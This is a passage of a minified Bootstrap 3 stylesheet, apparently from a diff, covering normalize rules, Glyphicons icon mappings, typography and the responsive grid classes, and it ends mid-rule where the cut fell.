+@charset "UTF-8";html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:Glyphicons Halflings;src:url(fonts/glyphicons-halflings-regular.5be1347c.eot);src:url(fonts/glyphicons-halflings-regular.5be1347c.eot?#iefix) format("embedded-opentype"),url(fonts/glyphicons-halflings-regular.be810be3.woff2) format("woff2"),url(fonts/glyphicons-halflings-regular.82b1212e.woff) format("woff"),url(fonts/glyphicons-halflings-regular.4692b9ec.ttf) format("truetype"),url(images/glyphicons-halflings-regular.060b2710.svg#glyphicons_halflingsregular) format("svg")}.glyphicon{position:relative;top:1px;display:inline-block;font-family:Glyphicons Halflings;font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before,.glyphicon-btc:before,.glyphicon-xbt:before{content:"\e227"}.glyphicon-jpy:before,.glyphicon-yen:before{content:"\00a5"}.glyphicon-rub:before,.glyphicon-ruble:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.initialism,.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-inline,.list-unstyled{padding-left:0;list-style:none}.list-inline{margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857}dt{font-weight:700}dd{margin-left:0}.dl-horizontal dd:after,.dl-horizontal dd:before{display:table;content:" "}.dl-horizontal dd:after{clear:both}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help}.initialism{font-size:90%}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:"\2014 \00A0"}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:""}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:"\00A0 \2014"}address{margin-bottom:20px;font-style:normal;line-height:1.42857}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,Courier New,monospace}code{color:#c7254e;background-color:#f9f2f4;border-radius:4px}code,kbd{padding:2px 4px;font-size:90%}kbd{color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.container:after,.container:before{display:table;content:" "}.container:after{clear:both}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.container-fluid:after,.container-fluid:before{display:table;content:" "}.container-fluid:after{clear:both}.row{margin-right:-15px;margin-left:-15px}.row:after,.row:before{display:table;content:" "}.row:after{clear:both}.row-no-gutters{margin-right:0;margin-left:0}.row-no-gutters [class*=col-]{padding-right:0;padding-left:0}.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-1{width:8.33333%}.col-xs-2{width:16.66667%}.col-xs-3{width:25%}.col-xs-4{width:33.33333%}.col-xs-5{width:41.66667%}.col-xs-6{width:50%}.col-xs-7{width:58.33333%}.col-xs-8{width:66.66667%}.col-xs-9{width:75%}.col-xs-10{width:83.33333%}.col-xs-11{width:91.66667%}.col-xs-12{width:100%}.col-xs-pull-0{right:auto}.col-xs-pull-1{right:8.33333%}.col-xs-pull-2{right:16.66667%}.col-xs-pull-3{right:25%}.col-xs-pull-4{right:33.33333%}.col-xs-pull-5{right:41.66667%}.col-xs-pull-6{right:50%}.col-xs-pull-7{right:58.33333%}.col-xs-pull-8{right:66.66667%}.col-xs-pull-9{right:75%}.col-xs-pull-10{right:83.33333%}.col-xs-pull-11{right:91.66667%}.col-xs-pull-12{right:100%}.col-xs-push-0{left:auto}.col-xs-push-1{left:8.33333%}.col-xs-push-2{left:16.66667%}.col-xs-push-3{left:25%}.col-xs-push-4{left:33.33333%}.col-xs-push-5{left:41.66667%}.col-xs-push-6{left:50%}.col-xs-push-7{left:58.33333%}.col-xs-push-8{left:66.66667%}.col-xs-push-9{left:75%}.col-xs-push-10{left:83.33333%}.col-xs-push-11{left:91.66667%}.col-xs-push-12{left:100%}.col-xs-offset-0{margin-left:0}.col-xs-offset-1{margin-left:8.33333%}.col-xs-offset-2{margin-left:16.66667%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-4{margin-left:33.33333%}.col-xs-offset-5{margin-left:41.66667%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-7{margin-left:58.33333%}.col-xs-offset-8{margin-left:66.66667%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-10{margin-left:83.33333%}.col-xs-offset-11{margin-left:91.66667%}.col-xs-offset-12{margin-left:100%}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-1{width:8.33333%}.col-sm-2{width:16.66667%}.col-sm-3{width:25%}.col-sm-4{width:33.33333%}.col-sm-5{width:41.66667%}.col-sm-6{width:50%}.col-sm-7{width:58.33333%}.col-sm-8{width:66.66667%}.col-sm-9{width:75%}.col-sm-10{width:83.33333%}.col-sm-11{width:91.66667%}.col-sm-12{width:100%}.col-sm-pull-0{right:auto}.col-sm-pull-1{right:8.33333%}.col-sm-pull-2{right:16.66667%}.col-sm-pull-3{right:25%}.col-sm-pull-4{right:33.33333%}.col-sm-pull-5{right:41.66667%}.col-sm-pull-6{right:50%}.col-sm-pull-7{right:58.33333%}.col-sm-pull-8{right:66.66667%}.col-sm-pull-9{right:75%}.col-sm-pull-10{right:83.33333%}.col-sm-pull-11{right:91.66667%}.col-sm-pull-12{right:100%}.col-sm-push-0{left:auto}.col-sm-push-1{left:8.33333%}.col-sm-push-2{left:16.66667%}.col-sm-push-3{left:25%}.col-sm-push-4{left:33.33333%}.col-sm-push-5{left:41.66667%}.col-sm-push-6{left:50%}.col-sm-push-7{left:58.33333%}.col-sm-push-8{left:66.66667%}.col-sm-push-9{left:75%}.col-sm-push-10{left:83.33333%}.col-sm-push-11{left:91.66667%}.col-sm-push-12{left:100%}.col-sm-offset-0{margin-left:0}.col-sm-offset-1{margin-left:8.33333%}.col-sm-offset-2{margin-left:16.66667%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-4{margin-left:33.33333%}.col-sm-offset-5{margin-left:41.66667%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-7{margin-left:58.33333%}.col-sm-offset-8{margin-left:66.66667%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-10{margin-left:83.33333%}.col-sm-offset-11{margin-left:91.66667%}.col-sm-offset-12{margin-left:100%}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-1{width:8.33333%}.col-md-2{width:16.66667%}.col-md-3{width:25%}.col-md-4{width:33.33333%}.col-md-5{width:41.66667%}.col-md-6{width:50%}.col-md-7{width:58.33333%}.col-md-8{width:66.66667%}.col-md-9{width:75%}.col-md-10{width:83.33333%}.col-md-11{width:91.66667%}.col-md-12{width:100%}.col-md-pull-0{right:auto}.col-md-pull-1{right:8.33333%}.col-md-pull-2{right:16.66667%}.col-md-pull-3{right:25%}.col-md-pull-4{right:33.33333%}.col-md-pull-5{right:41.66667%}.col-md-pull-6{right:50%}.col-md-pull-7{right:58.33333%}.col-md-pull-8{right:66.66667%}.col-md-pull-9{right:75%}.col-md-pull-10{right:83.33333%}.col-md-pull-11{right:91.66667%}.col-md-pull-12{right:100%}.col-md-push-0{left:auto}.col-md-push-1{left:8.33333%}.col-md-push-2{left:16.66667%}.col-md-push-3{left:25%}.col-md-push-4{left:33.33333%}.col-md-push-5{left:41.66667%}.col-md-push-6{left:50%}.col-md-push-7{left:58.33333%}.col-md-push-8{left:66.66667%}.col-md-push-9{left:75%}.col-md-push-10{left:83.33333%}.col-md-push-11{left:91.66667%}.col-md-push-12{left:100%}.col-md-offset-0{margin-left:0}.col-md-offset-1{margin-left:8.33333%}.col-md-offset-2{margin-left:16.66667%}.col-md-offset-3{margin-left:25%}.col-md-offset-4{margin-left:33.33333%}.col-md-offset-5{margin-left:41.66667%}.col-md-offset-6{margin-left:50%}.col-md-offset-7{margin-left:58.33333%}.col-md-offset-8{margin-left:66.66667%}.col-md-offset-9{margin-left:75%}.col-md-offset-10{margin-left:83.33333%}.col-md-offset-11{margin-left:91.66667%}.col-md-offset-12{margin-left:100%}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-1{width:8.33333%}.col-lg-2{width:16.66667%}.col-lg-3{width:25%}.col-lg-4{width:33.33333%}.col-lg-5{width:41.66667%}.col-lg-6{width:50%}.col-lg-7{width:58.33333%}.col-lg-8{width:66.66667%}.col-lg-9{width:75%}.col-lg-10{width:83.33333%}.col-lg-11{width:91.66667%}.col-lg-12{width:100%}.col-lg-pull-0{right:auto}.col-lg-pull-1{right:8.33333%}.col-lg-pull-2{right:16.66667%}.col-lg-pull-3{right:25%}.col-lg-pull-4{right:33.33333%}.col-lg-pull-5{right:41.66667%}.col-lg-pull-6{right:50%}.col-lg-pull-7{right:58.33333%}.col-lg-pull-8{right:66.66667%}.col-lg-pull-9{right:75%}.col-lg-pull-10{right:83.33333%}.col-lg-pull-11{right:91.66667%}.col-lg-pull-12{right:100%}.col-lg-push-0{left:auto}.col-lg-push-1{left:8.33333%}.col-lg-push-2{left:16.66667%}.col-lg-push-3{left:25%}.col-lg-push-4{left:33.33333%}.col-lg-push-5{left:41.66667%}.col-lg-push-6{left:50%}.col-lg-push-7{left:58.33333%}.col-lg-push-8{left:66.66667%}.col-lg-push-9{left:75%}.col-lg-push-10{left:83.33333%}.col-lg-push-11{left:91.66667%}.col-lg-push-12{left:100%}.col-lg-offset-0{margin-left:0}.col-lg-offset-1{margin-left:8.33333%}.col-lg-offset-2{margin-left:16.66667%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-4{margin-left:33.33333%}.col-lg-offset-5{margin-left:41.66667%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-7{margin-left:58.33333%}.col-lg-offset-8{margin-left:66.66667%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-10{margin-left:83.33333%}.col-lg-offset-11{margin-left:91.66667%}.col-lg-offset-12{margin-left:100%}}table{background-color:transparent}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table 